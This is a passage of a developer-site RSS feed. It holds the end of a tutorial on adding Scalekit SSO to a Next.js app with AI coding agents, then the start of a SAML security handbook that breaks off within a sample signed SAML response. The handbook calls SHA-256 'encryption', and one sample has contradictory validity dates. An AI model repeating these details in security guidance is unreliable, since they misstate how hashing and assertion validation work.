  How It Actually Works
&lt;/h2&gt;

&lt;p&gt;Let's demystify what just happened.&lt;/p&gt;

&lt;h3&gt;
  
  
  The SSO Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. User visits app
   ↓
2. Redirected to /login
   ↓
3. User enters work email: user@acme.com
   ↓
4. App calls Scalekit: "Get SSO URL for acme.com"
   ↓
5. Scalekit checks: Is there an org with domain acme.com?
   ↓
6. If yes: Return IDP login URL for that org
   ↓
7. User redirected to their company's IDP (Okta/Microsoft/etc)
   ↓
8. User authenticates at IDP
   ↓
9. IDP redirects back to: yourapp.com/api/auth/callback?code=xyz
   ↓
10. App exchanges code with Scalekit for user identity
    ↓
11. Scalekit returns: { email, name, organization, ... }
    ↓
12. App creates session, user is logged in
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Organization-Based Routing
&lt;/h3&gt;

&lt;p&gt;The key insight: &lt;strong&gt;Scalekit routes authentication based on email domain&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When a user enters &lt;code&gt;jane@acme.com&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scalekit looks up which organization owns &lt;code&gt;acme.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Retrieves that organization's configured IDP&lt;/li&gt;
&lt;li&gt;Returns the appropriate login URL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why your B2B customers can each use different IDPs—routing happens automatically per organization.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Admin Portal
&lt;/h3&gt;

&lt;p&gt;The self-service portal uses Scalekit's management APIs to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;List Organizations&lt;/strong&gt;: Show the customer their organization details&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configure Connections&lt;/strong&gt;: Let them set up SAML/OIDC with their IDP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test Connections&lt;/strong&gt;: Validate the setup before going live&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manage Domains&lt;/strong&gt;: Add/remove email domains for their org&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All without your engineering team touching anything.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Considerations Built In
&lt;/h3&gt;

&lt;p&gt;The generated code includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PKCE (Proof Key for Code Exchange)&lt;/strong&gt;: Protects against authorization code interception&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;State Parameter&lt;/strong&gt;: Prevents CSRF attacks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Validation&lt;/strong&gt;: Ensures codes haven't been tampered with&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment-Based Config&lt;/strong&gt;: Secrets never in version control&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTPS Enforcement&lt;/strong&gt;: Redirect URIs must use HTTPS in production&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Production Considerations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Environment Variables
&lt;/h3&gt;

&lt;p&gt;For production, set these in your hosting platform (Vercel, AWS, etc.):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;SCALEKIT_ENV_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://yourenv.scalekit.com
&lt;span class="nv"&gt;SCALEKIT_CLIENT_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sk_live_...
&lt;span class="nv"&gt;SCALEKIT_CLIENT_SECRET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sk_secret_...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Update Redirect URIs
&lt;/h3&gt;

&lt;p&gt;In your Scalekit dashboard, add production callback URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yourdomain.com/api/auth/callback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Session Management
&lt;/h3&gt;

&lt;p&gt;Claude generates a basic session setup. For production, consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Session Storage&lt;/strong&gt;: Redis, database, or encrypted cookies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session Lifetime&lt;/strong&gt;: How long until re-authentication required&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Refresh&lt;/strong&gt;: For long-lived sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-Device&lt;/strong&gt;: Handling concurrent sessions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Error Handling
&lt;/h3&gt;

&lt;p&gt;Add user-friendly error messages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/login/page.tsx&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;errorMessages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;no_code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Authentication failed. Please try again.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;auth_failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Could not verify your identity.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;invalid_email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Please use your work email address.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;no_org&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Your organization has not set up SSO yet.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Monitoring
&lt;/h3&gt;

&lt;p&gt;Track:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Failed authentication attempts&lt;/li&gt;
&lt;li&gt;Organization-wise SSO usage&lt;/li&gt;
&lt;li&gt;IDP connection health&lt;/li&gt;
&lt;li&gt;Session creation/destruction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Scalekit provides webhooks for these events.&lt;/p&gt;




&lt;h2&gt;
  
  
  Alternative: Using Other AI Coding Agents
&lt;/h2&gt;

&lt;p&gt;Scalekit's Auth Stack works with 40+ AI coding agents, not just Claude Code.&lt;/p&gt;

&lt;h3&gt;
  
  
  GitHub Copilot CLI
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install marketplace&lt;/span&gt;
copilot plugin marketplace add scalekit-inc/github-copilot-authstack

&lt;span class="c"&gt;# Install plugin&lt;/span&gt;
copilot plugin &lt;span class="nb"&gt;install &lt;/span&gt;modular-sso@scalekit-auth-stack

&lt;span class="c"&gt;# Generate implementation&lt;/span&gt;
copilot &lt;span class="s2"&gt;"Add Scalekit SSO to my app with admin portal for customer IDP configuration"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Cursor
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Option&lt;/strong&gt;: Use Claude Code marketplace (works now)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# In Claude Code REPL&lt;/span&gt;
/plugin marketplace add scalekit-inc/claude-code-authstack

&lt;span class="c"&gt;# Cursor automatically picks up Claude Code plugins&lt;/span&gt;
&lt;span class="c"&gt;# Open Cursor → Settings → Plugins → Enable Modular SSO&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then use Cursor's chat with &lt;code&gt;Cmd+L&lt;/code&gt; / &lt;code&gt;Ctrl+L&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Add Scalekit SSO with customer admin portal for IDP configuration
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Any Agent via Vercel Skills
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Interactive install&lt;/span&gt;
npx skills add scalekit-inc/skills

&lt;span class="c"&gt;# Or list and pick&lt;/span&gt;
npx skills add scalekit-inc/skills &lt;span class="nt"&gt;--list&lt;/span&gt;

&lt;span class="c"&gt;# Install specific skill&lt;/span&gt;
npx skills add scalekit-inc/skills &lt;span class="nt"&gt;--skill&lt;/span&gt; modular-sso

&lt;span class="c"&gt;# Global install for all projects&lt;/span&gt;
npx skills add scalekit-inc/skills &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--global&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Supported agents: Windsurf, Cline, Gemini CLI, OpenCode, Codex, and 30+ others.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Traditional SSO implementation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read OAuth 2.0 / SAML spec (hours)&lt;/li&gt;
&lt;li&gt;Study IDP-specific quirks (hours)&lt;/li&gt;
&lt;li&gt;Write authorization URL generation (30 min)&lt;/li&gt;
&lt;li&gt;Handle callback and token exchange (1 hour)&lt;/li&gt;
&lt;li&gt;Build session management (2+ hours)&lt;/li&gt;
&lt;li&gt;Create admin UI for IDP config (3+ hours)&lt;/li&gt;
&lt;li&gt;Test with multiple IDPs (hours)&lt;/li&gt;
&lt;li&gt;Debug edge cases (days)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total: 1-2 weeks for an experienced developer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With Claude Code + Scalekit:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install plugin (1 minute)&lt;/li&gt;
&lt;li&gt;Describe what you want (30 seconds)&lt;/li&gt;
&lt;li&gt;Review generated code (5 minutes)&lt;/li&gt;
&lt;li&gt;Test with simulator (2 minutes)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total: ~10 minutes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The code quality is production-ready because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The plugin encodes battle-tested patterns from thousands of implementations&lt;/li&gt;
&lt;li&gt;It follows your framework's conventions automatically&lt;/li&gt;
&lt;li&gt;Security best practices are baked in&lt;/li&gt;
&lt;li&gt;Scalekit handles the complex parts (SAML parsing, token validation, IDP integrations)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Enterprise SSO used to be a feature that delayed product launches. Between understanding OAuth flows, handling SAML complexity, and building customer onboarding portals, it was weeks of work.&lt;/p&gt;

&lt;p&gt;AI coding agents with specialized plugins collapse that timeline to minutes. But this isn't about AI writing code faster—it's about &lt;strong&gt;encoding expert knowledge&lt;/strong&gt; into reusable skills that handle entire feature implementations.&lt;/p&gt;

&lt;p&gt;The Scalekit plugin doesn't just generate boilerplate. It:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understands your codebase structure&lt;/li&gt;
&lt;li&gt;Queries your live environment&lt;/li&gt;
&lt;li&gt;Follows security best practices&lt;/li&gt;
&lt;li&gt;Creates complete, working flows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the new paradigm: describe the outcome, let specialized agents handle the implementation details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.scalekit.com" rel="noopener noreferrer"&gt;Scalekit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://code.claude.com/docs/en/plugins" rel="noopener noreferrer"&gt;Claude Code Plugin Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/scalekit-inc/claude-code-authstack" rel="noopener noreferrer"&gt;Scalekit Auth Stack GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/scalekit-inc/scalekit-nextjs-example" rel="noopener noreferrer"&gt;Example Implementation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Try it yourself&lt;/strong&gt;: The fastest way to understand this isn't reading—it's doing. Spin up a fresh Next.js app, install the plugin, and watch Claude build your SSO flow in real-time.&lt;/p&gt;

&lt;p&gt;The future of development isn't writing less code. It's describing what you want and having specialized agents that actually understand your domain build it for you.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have questions? Join the &lt;a href="https://scalekit-community.slack.com/" rel="noopener noreferrer"&gt;Scalekit's Slack&lt;/a&gt; or the &lt;a href="https://discord.gg/claude-code" rel="noopener noreferrer"&gt;Claude Code community&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>sso</category>
      <category>claudecode</category>
      <category>nextjs</category>
      <category>fullstack</category>
    </item>
    <item>
      <title>A SAML Security Vulnerability Handbook for Developers</title>
      <dc:creator>The Scalekit Team</dc:creator>
      <pubDate>Fri, 02 Aug 2024 09:56:44 +0000</pubDate>
      <link>https://forem.com/scalekit-inc/a-saml-security-vulnerability-handbook-for-developers-3mg2</link>
      <guid>https://forem.com/scalekit-inc/a-saml-security-vulnerability-handbook-for-developers-3mg2</guid>
      <description>&lt;p&gt;One surefire way to get stuck in developer purgatory is developing a custom implementation of the Security Assertion Markup Language (SAML) protocol to enable enterprise single sign-on (SSO) authentication… without knowing exactly what you’re getting into.&lt;/p&gt;

&lt;p&gt;Even if you’ve &lt;a href="https://www.scalekit.com/blog/read-this-before-you-implement-saml" rel="noopener noreferrer"&gt;read our primer&lt;/a&gt; on SAML implementation, you still need to fully understand the scope of possible SAML vulnerabilities and the intricate requirements of developing proper and reliable resolutions. To give you a sense of that scope, let’s examine the common vulnerabilities you need to be aware of—not as a checklist that will declare your implementation ready to handle the stringent requirements of enterprise SSO, but as a peek into how many developer hours go into a secure SAML implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  What makes SAML open to vulnerabilities?
&lt;/h2&gt;

&lt;p&gt;As an open standard for exchanging authentication and authorization information between IdPs and SPs, SAML is not inherently vulnerable—it’s merely a description of the handshake between your B2B SaaS product (Service Provider or SP) and the Identity Provider (IdP).&lt;/p&gt;

&lt;p&gt;Still, the default SAML response, which is both unsigned and unencrypted, is an extraordinarily complex document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;samlp:Response&lt;/span&gt; &lt;span class="na"&gt;xmlns:samlp=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:protocol"&lt;/span&gt; &lt;span class="na"&gt;xmlns:saml=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:assertion"&lt;/span&gt; &lt;span class="na"&gt;ID=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt; &lt;span class="na"&gt;Version=&lt;/span&gt;&lt;span class="s"&gt;"2.0"&lt;/span&gt; &lt;span class="na"&gt;IssueInstant=&lt;/span&gt;&lt;span class="s"&gt;"2024-04-15T01:01:48Z"&lt;/span&gt; &lt;span class="na"&gt;Destination=&lt;/span&gt;&lt;span class="s"&gt;"https://app.your-saas.com/?login"&lt;/span&gt; &lt;span class="na"&gt;InResponseTo=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;https://idp-example.com/metadata&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;samlp:Status&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;samlp:StatusCode&lt;/span&gt; &lt;span class="na"&gt;Value=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:status:Success"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/samlp:Status&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Assertion&lt;/span&gt; &lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/XMLSchema-instance"&lt;/span&gt; &lt;span class="na"&gt;xmlns:xs=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/XMLSchema"&lt;/span&gt; &lt;span class="na"&gt;ID=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt; &lt;span class="na"&gt;Version=&lt;/span&gt;&lt;span class="s"&gt;"2.0"&lt;/span&gt; &lt;span class="na"&gt;IssueInstant=&lt;/span&gt;&lt;span class="s"&gt;"2024-04-15T01:01:48Z"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;https://idp-example.com/metadata&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:NameID&lt;/span&gt; &lt;span class="na"&gt;SPNameQualifier=&lt;/span&gt;&lt;span class="s"&gt;"https://your-saas.com/metadata"&lt;/span&gt; &lt;span class="na"&gt;Format=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:nameid-format:transient"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:SubjectConfirmation&lt;/span&gt; &lt;span class="na"&gt;Method=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:cm:bearer"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:SubjectConfirmationData&lt;/span&gt; &lt;span class="na"&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class="s"&gt;"2024-05-15T09:01:48Z"&lt;/span&gt; &lt;span class="na"&gt;Recipient=&lt;/span&gt;&lt;span class="s"&gt;"https://app.your-saas.com/"&lt;/span&gt; &lt;span class="na"&gt;InResponseTo=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:SubjectConfirmation&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:Conditions&lt;/span&gt; &lt;span class="na"&gt;NotBefore=&lt;/span&gt;&lt;span class="s"&gt;"2024-04-15T01:01:18Z"&lt;/span&gt; &lt;span class="na"&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class="s"&gt;"2024-01-18T06:21:48Z"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:AudienceRestriction&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:Audience&amp;gt;&lt;/span&gt;https://your-saas.com/metadata&lt;span class="nt"&gt;&amp;lt;/saml:Audience&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:AudienceRestriction&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:Conditions&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:AuthnStatement&lt;/span&gt; &lt;span class="na"&gt;AuthnInstant=&lt;/span&gt;&lt;span class="s"&gt;"2024-04-15T01:01:48Z"&lt;/span&gt; &lt;span class="na"&gt;SessionNotOnOrAfter=&lt;/span&gt;&lt;span class="s"&gt;"2024-05-15T09:01:48Z"&lt;/span&gt; &lt;span class="na"&gt;SessionIndex=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:AuthnContext&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:AuthnContextClassRef&amp;gt;&lt;/span&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:Password&lt;span class="nt"&gt;&amp;lt;/saml:AuthnContextClassRef&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:AuthnContext&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:AuthnStatement&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:AttributeStatement&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:Attribute&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"uid"&lt;/span&gt; &lt;span class="na"&gt;NameFormat=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:attrname-format:basic"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:AttributeValue&lt;/span&gt; &lt;span class="na"&gt;xsi:type=&lt;/span&gt;&lt;span class="s"&gt;"xs:string"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;bob&lt;span class="nt"&gt;&amp;lt;/saml:AttributeValue&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:Attribute&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:Attribute&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"mail"&lt;/span&gt; &lt;span class="na"&gt;NameFormat=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:attrname-format:basic"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:AttributeValue&lt;/span&gt; &lt;span class="na"&gt;xsi:type=&lt;/span&gt;&lt;span class="s"&gt;"xs:string"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;bob@example.com&lt;span class="nt"&gt;&amp;lt;/saml:AttributeValue&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:Attribute&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:Attribute&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"role"&lt;/span&gt; &lt;span class="na"&gt;NameFormat=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:attrname-format:basic"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:AttributeValue&lt;/span&gt; &lt;span class="na"&gt;xsi:type=&lt;/span&gt;&lt;span class="s"&gt;"xs:string"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;users&lt;span class="nt"&gt;&amp;lt;/saml:AttributeValue&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:AttributeValue&lt;/span&gt; &lt;span class="na"&gt;xsi:type=&lt;/span&gt;&lt;span class="s"&gt;"xs:string"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;admin&lt;span class="nt"&gt;&amp;lt;/saml:AttributeValue&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/saml:Attribute&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:AttributeStatement&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/samlp:Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As a developer, your first task—implementing an authentication system that can properly construct and parse assertions like the above SAML content—is easier said than done.&lt;/p&gt;

&lt;p&gt;SAML is based on XML, which has no semantics or defined structure, making it difficult to write and harder to read at a glance. You’ll want to rely on parsers and helper libraries to do the heavy lifting, but there are hundreds of implementations covering all popular programming languages. Some might be wildly popular and seem vetted by the open-source community, but you have no guarantee they’ll work as expected. They could easily introduce new unexpected vulnerabilities into your authentication infrastructure.&lt;/p&gt;

&lt;p&gt;Your second task is establishing a security baseline in your SAML implementation by enforcing signed and encrypted assertions, using an XML Signature (XMLDSig) and SHA-256 encryption, respectively. For your authentication system to exchange signed and encrypted messages, you’re dealing now with the infrastructure required to decrypt assertions using keys and safely store certificates, which goes far beyond most developers’ know-how.&lt;/p&gt;

&lt;p&gt;These measures help protect your users’ data, but change the contents of your SAML responses and assertions dramatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;samlp:Response&lt;/span&gt; &lt;span class="na"&gt;xmlns:samlp=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:protocol"&lt;/span&gt; &lt;span class="na"&gt;xmlns:saml=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:assertion"&lt;/span&gt; &lt;span class="na"&gt;ID=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt; &lt;span class="na"&gt;Version=&lt;/span&gt;&lt;span class="s"&gt;"2.0"&lt;/span&gt; &lt;span class="na"&gt;IssueInstant=&lt;/span&gt;&lt;span class="s"&gt;"2024-04-15T01:01:48Z"&lt;/span&gt; &lt;span class="na"&gt;Destination=&lt;/span&gt;&lt;span class="s"&gt;"https://app.your-saas.com/?login"&lt;/span&gt; &lt;span class="na"&gt;InResponseTo=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;https://idp-example.com/metadata&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;ds:Signature&lt;/span&gt; &lt;span class="na"&gt;xmlns:ds=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;ds:SignedInfo&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;ds:CanonicalizationMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/10/xml-exc-c14n#"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;ds:SignatureMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#rsa-sha1"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;ds:Reference&lt;/span&gt; &lt;span class="na"&gt;URI=&lt;/span&gt;&lt;span class="s"&gt;"#pfxd32edc4b-4995-439f-ac61-a3eb7142995a"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
